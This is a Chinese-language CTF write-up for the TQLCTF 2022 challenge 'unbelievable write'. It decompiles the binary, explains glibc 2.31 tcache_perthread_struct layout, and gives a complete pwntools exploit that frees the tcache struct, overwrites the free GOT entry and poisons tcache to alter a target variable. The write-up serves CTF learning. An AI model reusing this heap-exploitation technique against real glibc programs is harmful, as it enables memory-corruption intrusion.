[TQLCTF 2022]unbelievable write
参考的大佬的wp
PS:这题不知道为什么没打通 NSS
的远程,本地是通了
知识点:
每个 thread
都会维护一个 tcache_perthread_struct
,它是整个 tcache
的管理结构,一共有 TCACHE_MAX_BINS
个计数器和 TCACHE_MAX_BINS
项 tcache_entry
。
这个结构在 tcache_init
函数中被初始化在堆上,如果能控制这个堆块就可以控制整个 tcache
。
- 早期版本(如
glibc 2.26-2.30
)大小为 0x250 字节:counts
占 0x40 字节(32 个 uint16_t,TCACHE_MAX_BINS=32
),entries
占 0x210 字节(32 个指针,64 位系统每个指针 8 字节)。
- 高版本(如 glibc 2.31+)扩展为 0x290 字节:
TCACHE_MAX_BINS
增至 64,counts
占 0x80 字节,entries
占 0x210 字节(部分版本可能调整)。
准备

64 位,开了 NX
和 canary
保护
分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int n3; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp); while ( 1 ) { while ( 1 ) { write(1, "> ", 2uLL); n3 = read_int(); if ( n3 != 3 ) break; c3(); } if ( n3 > 3 ) { LABEL_10: puts("wrong choice!"); } else if ( n3 == 1 ) { c1(); } else { if ( n3 != 2 ) goto LABEL_10; c2(); } } }
|
开头一个初始化操作函数 init
接着进入循环,有三个选项
init函数
1 2 3 4 5 6 7 8
| unsigned int init() { ptr = (__int64)malloc(0x10uLL); setlinebuf(stdin); setlinebuf(stdout); setlinebuf(stderr); return alarm(0x3Cu); }
|
这里创建了一块大小为 0x10 的堆块存储到 ptr
中
1-c1(add)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void c1() { unsigned int size; // [rsp+4h] [rbp-Ch] void *size_4; // [rsp+8h] [rbp-8h]
size = read_int(); if ( size <= 0xF || size > 0x1000 ) { puts("no!"); } else { size_4 = malloc(size); readline(size_4, size); free(size_4); } }
|
这里限制堆块大小,接收输入的大小后,分配相应大小合适的内存块,读取用户数据到该内存块后立即释放
2-c2(delete)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void c2() { __int64 ptr; // rbx int v1; // eax
if ( golden == 1 ) { golden = 0LL; ptr = ptr; v1 = read_int(); free((void *)(ptr + v1)); } else { puts("no!"); } }
|
这里释放的是 ptr+offset
的堆块
3-c3(后门函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| unsigned __int64 c3() { int fd; // [rsp+Ch] [rbp-54h] char buf[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u); if ( target != 0xFEDCBA9876543210LL ) { puts("you did it!"); fd = open("./flag", 0, 0LL); read(fd, buf, 0x40uLL); puts(buf); exit(0); } puts("no write! try again?"); return __readfsqword(0x28u) ^ v3; }
|
当 target
不等于 0xFEDCBA9876543210 时,获得 flag
思路:
因为当 target
不等于 0xFEDCBA9876543210 时,获得 flag
,所以我们需要篡改 target
值
这题添加完堆块后会立刻释放,并且题目版本是 2.31,所以需要考虑 tcache
tcache
中有一个 tcache_perthread_struct
管理结构,这个结构在 tcache_init
函数中被初始化在堆上,如果能控制这个堆块就可以控制整个 tcache
。
这里我们就可以控制这结构,先修改 free_got
,使得创建堆块不会立即删除,在修改 target
值,获得 flag
因为没有修改函数,所以利用添加函数,修改堆块数据
先删除 tcache struct
这个管理堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context(os='linux',log_level='debug',arch='amd64') # io=remote('node4.anna.nssctf.cn',28608) io= process('/home/motaly/pwn') elf=ELF('/home/motaly/pwn') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
def add(size,content): io.sendlineafter("> ", "1") io.sendline(str(size)) io.sendline(content)
def delete(index): io.sendlineafter("> ", "2") io.sendline(str(index))
def backdoor(): io.sendlineafter("> ","3")
free_got=elf.got['free'] log.success('free_got= '+hex(free_got)) puts_plt=elf.plt['puts'] log.success('puts_plt= '+hex(puts_plt))
delete(-0x290)
|
因为这里删除的是 ptr+offset
的堆块,所以值是 -0x290

删除后,通过添加修改数据,把第二块堆块指向 free_got
(第 0 块是 ptr
)
1 2 3 4 5 6 7 8
| free_got=elf.got['free'] log.success('free_got= '+hex(free_got)) puts_plt=elf.plt['puts'] log.success('puts_plt= '+hex(puts_plt))
delete(-0x290)
add(0x280,p64(0x1)*20+p64(free_got))
|
因为 counts
占 0x80 字节,并且考虑第 0 块堆块的空间,所以填充 20 大小的数据

此时第 1 块堆块已经改为 free_got
的地址
我们添加 1 块,并且改 free_got
的内容为 puts
函数地址
1 2 3 4 5 6 7 8 9
| free_got=elf.got['free'] log.success('free_got= '+hex(free_got)) puts_plt=elf.plt['puts'] log.success('puts_plt= '+hex(puts_plt))
delete(-0x290)
add(0x280,p64(0x1)*20+p64(free_got)) add(0x50,p64(puts_plt)+p64(0x401040))
|

这里有一个小问题是,不能只改 free_got
的内容为 puts
函数地址,还需要加一个地址

没加会产生这个报错
并且这个地址影响的是 free_got
下面的 puts_got
这里是先看了其他的大佬的 wp
,直接知道了这个地址,找大佬解答了一下,大佬的解释是这样子
0x401040 这个地址可以是因为这个地址处经过了两次跳转,最后返回了 got
表处,为空值,不会影响
运用其他值会偏移,导致程序报错或最后没打通



改完 free_got
后,就用同样的方法指向 target
,随便改一个值

1 2 3 4 5 6 7 8 9 10 11 12
| free_got=elf.got['free'] log.success('free_got= '+hex(free_got)) puts_plt=elf.plt['puts'] log.success('puts_plt= '+hex(puts_plt))
delete(-0x290)
add(0x280,p64(0x1)*20+p64(free_got)) add(0x50,p64(puts_plt)+p64(0x401040))
add(0x280,p64(0x11111111)*20+p64(0x404080)) add(0x50,p64(0x1))
|

最后调用选项 3 触发连接,获得 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| free_got=elf.got['free'] log.success('free_got= '+hex(free_got)) puts_plt=elf.plt['puts'] log.success('puts_plt= '+hex(puts_plt))
delete(-0x290)
add(0x280,p64(0x1)*20+p64(free_got)) add(0x50,p64(puts_plt)+p64(0x401040))
add(0x280,p64(0x11111111)*20+p64(0x404080)) add(0x50,p64(0x1))
backdoor()
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * context(os='linux',log_level='debug',arch='amd64') # io=remote('node4.anna.nssctf.cn',28608) io= process('/home/motaly/p') elf=ELF('/home/motaly/p') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
def add(size,content): io.sendlineafter("> ", "1") io.sendline(str(size)) io.sendline(content)
def delete(index): io.sendlineafter("> ", "2") io.sendline(str(index))
def backdoor(): io.sendlineafter("> ","3")
free_got=elf.got['free'] log.success('free_got= '+hex(free_got)) puts_plt=elf.plt['puts'] log.success('puts_plt= '+hex(puts_plt))
delete(-0x290)
add(0x280,p64(0x1)*20+p64(free_got)) add(0x50,p64(puts_plt)+p64(0x401040))
add(0x280,p64(0x11111111)*20+p64(0x404080)) add(0x50,p64(0x1))
backdoor()
io.interactive()
|